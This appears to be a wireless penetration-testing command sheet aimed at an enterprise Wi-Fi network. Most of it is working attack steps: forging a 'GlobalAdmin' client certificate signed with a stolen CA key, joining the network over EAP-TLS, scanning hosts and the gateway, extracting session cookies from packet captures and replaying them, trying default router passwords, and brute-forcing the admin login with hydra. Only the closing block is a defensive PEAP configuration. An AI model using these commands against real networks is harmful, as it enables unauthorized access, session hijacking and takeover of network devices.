cd ~/wifi/certs/

# Generate client private key
openssl genrsa -out client.key 2048

# Create CSR — use domain user format in CN
cat > client.conf << 'EOF'
[req]
default_bits = 2048
prompt = no
distinguished_name = dn

[dn]
C = US
ST = State
L = City
O = CONTOSO
CN = CONTOSO\GlobalAdmin
emailAddress = admin@contoso.local
EOF

openssl req -config client.conf -new -key client.key -out client.csr

# Sign with the stolen CA
openssl x509 -days 730 \
  -CA ca.crt \
  -CAkey ca.key \
  -CAserial ca.serial \
  -in client.csr \
  -req \
  -out client.crt

# Connect using EAP-TLS
cat > ~/wifi/configs/eap_tls.conf << 'EOF'
network={
    ssid="ENTERPRISE_SSID"
    scan_ssid=1
    proto=RSN
    key_mgmt=WPA-EAP
    auth_alg=OPEN
    eap=TLS
    identity="CONTOSO\GlobalAdmin"
    ca_cert="/root/wifi/certs/ca.crt"
    client_cert="/root/wifi/certs/client.crt"
    private_key="/root/wifi/certs/client.key"
    private_key_passwd="keypassword"
}
EOF

sudo wpa_supplicant -Dnl80211 -i wlan4 -c ~/wifi/configs/eap_tls.conf -B
sudo dhclient wlan4 -v

# Identify your IP, gateway, and subnet
ip addr show wlan3
ip route

# Discover live hosts on the local segment
sudo arp-scan -I wlan3 -l

# Verify client isolation
# If arp-scan shows other client IPs → isolation is NOT enforced
curl -s http://<OTHER_CLIENT_IP>

# Port scan the gateway/AP
nmap -sV -p 22,23,80,443,8080,8443 <GATEWAY_IP>

# Full subnet sweep
nmap -sn 192.168.X.0/24

# From a decrypted capture, extract session cookies
tshark -r ~/wifi/captures/target-01-dec.cap \
  -Y "http.cookie" \
  -T fields \
  -e ip.src -e http.host -e http.cookie \
  2>/dev/null

# Or from live capture on an open network
tshark -i wlan2 \
  -Y "http.cookie" \
  -T fields \
  -e ip.src -e http.host -e http.cookie \
  2>/dev/null

# Replay cookie with curl
curl -H "Cookie: session=<STOLEN_COOKIE>" http://<TARGET_IP>/

# Identify the AP admin interface
nmap -sV -p 80,443,8080,8443 <GATEWAY_IP>

# Test default credentials
curl -s -o /dev/null -w "%{http_code}" \
  http://<GATEWAY_IP>/ \
  -u admin:admin

# Common default credentials to try:
# admin:admin, admin:password, admin:(empty)
# admin:1234, root:root, admin:admin123
# (check vendor-specific defaults based on MAC OUI)

# Lightweight credential brute-force against HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/fasttrack.txt \
  http-get://<GATEWAY_IP>/ -t 4 -V

network={
    ssid="CORP_WIFI"
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="DOMAIN\username"
    password="strongpassword"
    ca_cert="/etc/ssl/certs/corp-ca.pem"
    # CRITICAL: enforce server cert validation
    phase1="peaplabel=0"
    phase2="auth=MSCHAPV2"
    # Lock to specific RADIUS server CN — prevents Rogue AP
    subject_match="/CN=radius01.corp.local"
    # Or use altsubject_match for SAN fields:
    # altsubject_match="DNS:radius01.corp.local"
}